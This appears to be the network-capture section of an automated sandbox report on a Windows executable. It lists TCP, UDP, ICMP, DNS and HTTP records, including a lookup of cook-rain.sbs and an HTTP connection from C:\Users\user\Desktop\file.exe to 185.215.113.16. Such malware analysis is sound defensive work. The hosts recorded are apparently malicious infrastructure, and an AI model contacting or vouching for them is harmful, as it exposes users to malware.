Nov 17, 2024 04:39:08.737716913 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.737732887 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.737744093 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.737792015 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.739608049 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.739653111 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.739712954 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.739712954 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.739721060 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.739813089 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.739820004 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.787611008 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.787635088 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.787645102 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.787697077 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.787720919 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.787741899 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.787770987 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.787780046 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.787787914 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.787787914 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.787821054 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.787821054 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.788942099 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.797110081 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.797132015 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.797209024 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.797218084 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.797272921 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.828758955 CET	443	49737	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:08.828942060 CET	443	49737	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:08.829005003 CET	49737	443	192.168.2.7	184.28.90.27
Nov 17, 2024 04:39:08.829413891 CET	49737	443	192.168.2.7	184.28.90.27
Nov 17, 2024 04:39:08.829449892 CET	443	49737	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:08.829478025 CET	49737	443	192.168.2.7	184.28.90.27
Nov 17, 2024 04:39:08.829493999 CET	443	49737	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:08.856451035 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.856482029 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.856528997 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.856578112 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.856584072 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.856584072 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.856584072 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.856604099 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.856667042 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.856935978 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.856987953 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.857007027 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.857089043 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.857125044 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.857203007 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.857285976 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.857299089 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.871619940 CET	49744	443	192.168.2.7	184.28.90.27
Nov 17, 2024 04:39:08.871670008 CET	443	49744	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:08.871767998 CET	49744	443	192.168.2.7	184.28.90.27
Nov 17, 2024 04:39:08.872072935 CET	49744	443	192.168.2.7	184.28.90.27
Nov 17, 2024 04:39:08.872103930 CET	443	49744	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:08.907064915 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.907092094 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.907140017 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.907155037 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.907181978 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.907192945 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.915453911 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.915477037 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.915527105 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.915535927 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.915579081 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.915586948 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.916954041 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.916975021 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.917037964 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.917046070 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.917087078 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.917104959 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.025182962 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.025228977 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.025270939 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.025289059 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.025301933 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.025337934 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.033134937 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.033166885 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.033226967 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.033246040 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.033366919 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.034126043 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.034146070 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.034228086 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.034243107 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.034312010 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.035211086 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.035232067 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.035326004 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.035341978 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.035383940 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.036021948 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.036046028 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.036092997 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.036107063 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.036134958 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.036252022 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.036995888 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.037024975 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.037086964 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.037095070 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.037183046 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.076597929 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.076628923 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.076668024 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.076675892 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.076703072 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.076710939 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.143639088 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.143724918 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.143732071 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.143769979 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.143785000 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.143788099 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.143829107 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.144304037 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:09.144325018 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:09.712707996 CET	443	49744	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:09.712795019 CET	49744	443	192.168.2.7	184.28.90.27
Nov 17, 2024 04:39:09.716700077 CET	49744	443	192.168.2.7	184.28.90.27
Nov 17, 2024 04:39:09.716738939 CET	443	49744	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:09.717163086 CET	443	49744	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:09.718633890 CET	49744	443	192.168.2.7	184.28.90.27
Nov 17, 2024 04:39:09.759327888 CET	443	49744	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:09.960823059 CET	443	49744	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:09.960896015 CET	443	49744	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:09.961570978 CET	49744	443	192.168.2.7	184.28.90.27
Nov 17, 2024 04:39:10.185412884 CET	49744	443	192.168.2.7	184.28.90.27
Nov 17, 2024 04:39:10.185412884 CET	49744	443	192.168.2.7	184.28.90.27
Nov 17, 2024 04:39:10.185456991 CET	443	49744	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:10.185476065 CET	443	49744	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:17.408272982 CET	443	49733	142.250.186.164	192.168.2.7
Nov 17, 2024 04:39:17.408340931 CET	443	49733	142.250.186.164	192.168.2.7
Nov 17, 2024 04:39:17.408963919 CET	49733	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:39:17.426518917 CET	49733	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:39:17.426527023 CET	443	49733	142.250.186.164	192.168.2.7
Nov 17, 2024 04:39:28.346160889 CET	49812	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:39:28.346223116 CET	443	49812	4.175.87.197	192.168.2.7
Nov 17, 2024 04:39:28.346297026 CET	49812	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:39:28.346693039 CET	49812	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:39:28.346712112 CET	443	49812	4.175.87.197	192.168.2.7
Nov 17, 2024 04:39:29.466701031 CET	443	49812	4.175.87.197	192.168.2.7
Nov 17, 2024 04:39:29.466764927 CET	49812	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:39:29.469907999 CET	49812	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:39:29.469918013 CET	443	49812	4.175.87.197	192.168.2.7
Nov 17, 2024 04:39:29.470134020 CET	443	49812	4.175.87.197	192.168.2.7
Nov 17, 2024 04:39:29.475461960 CET	49812	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:39:29.519335985 CET	443	49812	4.175.87.197	192.168.2.7
Nov 17, 2024 04:39:29.856271029 CET	443	49812	4.175.87.197	192.168.2.7
Nov 17, 2024 04:39:29.856301069 CET	443	49812	4.175.87.197	192.168.2.7
Nov 17, 2024 04:39:29.856316090 CET	443	49812	4.175.87.197	192.168.2.7
Nov 17, 2024 04:39:29.856405020 CET	49812	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:39:29.856419086 CET	443	49812	4.175.87.197	192.168.2.7
Nov 17, 2024 04:39:29.856476068 CET	49812	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:39:29.857532024 CET	443	49812	4.175.87.197	192.168.2.7
Nov 17, 2024 04:39:29.857566118 CET	443	49812	4.175.87.197	192.168.2.7
Nov 17, 2024 04:39:29.857601881 CET	49812	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:39:29.857605934 CET	443	49812	4.175.87.197	192.168.2.7
Nov 17, 2024 04:39:29.857637882 CET	49812	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:39:29.858603001 CET	49812	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:39:29.858614922 CET	443	49812	4.175.87.197	192.168.2.7
Nov 17, 2024 04:39:29.858624935 CET	49812	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:39:29.858782053 CET	443	49812	4.175.87.197	192.168.2.7
Nov 17, 2024 04:39:29.858820915 CET	443	49812	4.175.87.197	192.168.2.7
Nov 17, 2024 04:39:29.858858109 CET	49812	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:40:00.357760906 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:40:00.359107018 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:40:00.359452963 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:40:00.359599113 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:40:00.364552021 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:40:06.527674913 CET	49814	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:40:06.527719021 CET	443	49814	142.250.186.164	192.168.2.7
Nov 17, 2024 04:40:06.527863979 CET	49814	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:40:06.528064013 CET	49814	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:40:06.528076887 CET	443	49814	142.250.186.164	192.168.2.7
Nov 17, 2024 04:40:07.388901949 CET	443	49814	142.250.186.164	192.168.2.7
Nov 17, 2024 04:40:07.389276981 CET	49814	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:40:07.389296055 CET	443	49814	142.250.186.164	192.168.2.7
Nov 17, 2024 04:40:07.389760017 CET	443	49814	142.250.186.164	192.168.2.7
Nov 17, 2024 04:40:07.390274048 CET	49814	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:40:07.390350103 CET	443	49814	142.250.186.164	192.168.2.7
Nov 17, 2024 04:40:07.444645882 CET	49814	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:40:17.511735916 CET	443	49814	142.250.186.164	192.168.2.7
Nov 17, 2024 04:40:17.511826992 CET	443	49814	142.250.186.164	192.168.2.7
Nov 17, 2024 04:40:17.512006044 CET	49814	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:40:17.837861061 CET	49814	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:40:17.837879896 CET	443	49814	142.250.186.164	192.168.2.7
Nov 17, 2024 04:40:34.124108076 CET	65498	53	192.168.2.7	1.1.1.1
Nov 17, 2024 04:40:34.129035950 CET	53	65498	1.1.1.1	192.168.2.7
Nov 17, 2024 04:40:34.129144907 CET	65498	53	192.168.2.7	1.1.1.1
Nov 17, 2024 04:40:34.129192114 CET	65498	53	192.168.2.7	1.1.1.1
Nov 17, 2024 04:40:34.134032965 CET	53	65498	1.1.1.1	192.168.2.7
Nov 17, 2024 04:40:34.723522902 CET	53	65498	1.1.1.1	192.168.2.7
Nov 17, 2024 04:40:34.741041899 CET	65498	53	192.168.2.7	1.1.1.1
Nov 17, 2024 04:40:34.746335983 CET	53	65498	1.1.1.1	192.168.2.7
Nov 17, 2024 04:40:34.746417046 CET	65498	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 17, 2024 04:38:34.337738037 CET	53505	53	192.168.2.7	1.1.1.1
Nov 17, 2024 04:38:34.392527103 CET	53	53505	1.1.1.1	192.168.2.7
Nov 17, 2024 04:39:01.943320036 CET	53	55207	1.1.1.1	192.168.2.7
Nov 17, 2024 04:39:02.163563967 CET	53	56838	1.1.1.1	192.168.2.7
Nov 17, 2024 04:39:03.472142935 CET	53	60399	1.1.1.1	192.168.2.7
Nov 17, 2024 04:39:06.188973904 CET	60446	53	192.168.2.7	1.1.1.1
Nov 17, 2024 04:39:06.189100981 CET	60064	53	192.168.2.7	1.1.1.1
Nov 17, 2024 04:39:06.476790905 CET	61572	53	192.168.2.7	1.1.1.1
Nov 17, 2024 04:39:06.476919889 CET	51824	53	192.168.2.7	1.1.1.1
Nov 17, 2024 04:39:06.483560085 CET	53	61572	1.1.1.1	192.168.2.7
Nov 17, 2024 04:39:06.484014988 CET	53	51824	1.1.1.1	192.168.2.7
Nov 17, 2024 04:39:07.780003071 CET	60244	53	192.168.2.7	1.1.1.1
Nov 17, 2024 04:39:07.780265093 CET	50005	53	192.168.2.7	1.1.1.1
Nov 17, 2024 04:39:10.863318920 CET	52778	53	192.168.2.7	1.1.1.1
Nov 17, 2024 04:39:10.863477945 CET	51967	53	192.168.2.7	1.1.1.1
Nov 17, 2024 04:39:12.316824913 CET	53	63294	1.1.1.1	192.168.2.7
Nov 17, 2024 04:39:15.016537905 CET	138	138	192.168.2.7	192.168.2.255
Nov 17, 2024 04:39:20.571980953 CET	53	55233	1.1.1.1	192.168.2.7
Nov 17, 2024 04:39:39.562458992 CET	53	59025	1.1.1.1	192.168.2.7
Nov 17, 2024 04:40:01.736155033 CET	53	57475	1.1.1.1	192.168.2.7
Nov 17, 2024 04:40:01.917854071 CET	53	52192	1.1.1.1	192.168.2.7
Nov 17, 2024 04:40:10.868660927 CET	61194	53	192.168.2.7	1.1.1.1
Nov 17, 2024 04:40:10.868880033 CET	64884	53	192.168.2.7	1.1.1.1
Nov 17, 2024 04:40:30.077321053 CET	53	49289	1.1.1.1	192.168.2.7
Nov 17, 2024 04:40:34.123651981 CET	53	56471	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 17, 2024 04:39:03.210953951 CET	192.168.2.7	1.1.1.1	c2e6	(Port unreachable)	Destination Unreachable
Nov 17, 2024 04:39:07.710156918 CET	192.168.2.7	1.1.1.1	c2e6	(Port unreachable)	Destination Unreachable
Nov 17, 2024 04:39:10.882468939 CET	192.168.2.7	1.1.1.1	c278	(Port unreachable)	Destination Unreachable
Nov 17, 2024 04:39:14.749640942 CET	192.168.2.7	1.1.1.1	c267	(Port unreachable)	Destination Unreachable
Nov 17, 2024 04:39:18.887000084 CET	192.168.2.7	1.1.1.1	c267	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 17, 2024 04:38:34.337738037 CET	192.168.2.7	1.1.1.1	0x3ae3	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 17, 2024 04:39:06.188973904 CET	192.168.2.7	1.1.1.1	0xb552	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 04:39:06.189100981 CET	192.168.2.7	1.1.1.1	0xeeb4	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 17, 2024 04:39:06.476790905 CET	192.168.2.7	1.1.1.1	0xe528	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 04:39:06.476919889 CET	192.168.2.7	1.1.1.1	0xf09b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 17, 2024 04:39:07.780003071 CET	192.168.2.7	1.1.1.1	0x34fc	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 04:39:07.780265093 CET	192.168.2.7	1.1.1.1	0x369b	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 17, 2024 04:39:10.863318920 CET	192.168.2.7	1.1.1.1	0xd4eb	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 04:39:10.863477945 CET	192.168.2.7	1.1.1.1	0xc5cb	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 17, 2024 04:40:10.868660927 CET	192.168.2.7	1.1.1.1	0x4f82	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 04:40:10.868880033 CET	192.168.2.7	1.1.1.1	0xca1e	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 17, 2024 04:38:34.392527103 CET	1.1.1.1	192.168.2.7	0x3ae3	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 04:38:34.392527103 CET	1.1.1.1	192.168.2.7	0x3ae3	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 04:39:06.195671082 CET	1.1.1.1	192.168.2.7	0xc9f7	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:06.195739031 CET	1.1.1.1	192.168.2.7	0x3dc4	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:06.195739031 CET	1.1.1.1	192.168.2.7	0x3dc4	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:06.195739031 CET	1.1.1.1	192.168.2.7	0x3dc4	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 17, 2024 04:39:06.195826054 CET	1.1.1.1	192.168.2.7	0xb552	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:06.195826054 CET	1.1.1.1	192.168.2.7	0xb552	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:06.195826054 CET	1.1.1.1	192.168.2.7	0xb552	No error (0)	shed.dual-low.s-part-0039.t-0009.t-msedge.net	s-part-0039.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:06.195826054 CET	1.1.1.1	192.168.2.7	0xb552	No error (0)	s-part-0039.t-0009.t-msedge.net		13.107.246.67	A (IP address)	IN (0x0001)	false
Nov 17, 2024 04:39:06.196655035 CET	1.1.1.1	192.168.2.7	0xeeb4	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:06.196655035 CET	1.1.1.1	192.168.2.7	0xeeb4	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:06.483560085 CET	1.1.1.1	192.168.2.7	0xe528	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Nov 17, 2024 04:39:06.484014988 CET	1.1.1.1	192.168.2.7	0xf09b	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 17, 2024 04:39:07.682127953 CET	1.1.1.1	192.168.2.7	0x53c4	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:07.726280928 CET	1.1.1.1	192.168.2.7	0xffe	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:07.726280928 CET	1.1.1.1	192.168.2.7	0xffe	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:07.726280928 CET	1.1.1.1	192.168.2.7	0xffe	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 17, 2024 04:39:07.787580013 CET	1.1.1.1	192.168.2.7	0x34fc	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:07.787580013 CET	1.1.1.1	192.168.2.7	0x34fc	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:07.787580013 CET	1.1.1.1	192.168.2.7	0x34fc	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:07.787580013 CET	1.1.1.1	192.168.2.7	0x34fc	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 17, 2024 04:39:07.821224928 CET	1.1.1.1	192.168.2.7	0x369b	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:07.821224928 CET	1.1.1.1	192.168.2.7	0x369b	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:10.871238947 CET	1.1.1.1	192.168.2.7	0xd4eb	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:10.882390022 CET	1.1.1.1	192.168.2.7	0xc5cb	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:14.730492115 CET	1.1.1.1	192.168.2.7	0x8806	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:14.746468067 CET	1.1.1.1	192.168.2.7	0x87b9	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:18.867518902 CET	1.1.1.1	192.168.2.7	0x55b5	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:39:18.886923075 CET	1.1.1.1	192.168.2.7	0xa6a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:40:10.881100893 CET	1.1.1.1	192.168.2.7	0x4f82	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 04:40:10.888362885 CET	1.1.1.1	192.168.2.7	0xca1e	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

cook-rain.sbs

slscr.update.microsoft.com

https:

wcpstatic.microsoft.com

js.monitor.azure.com

fs.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49713	185.215.113.16	80	7316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
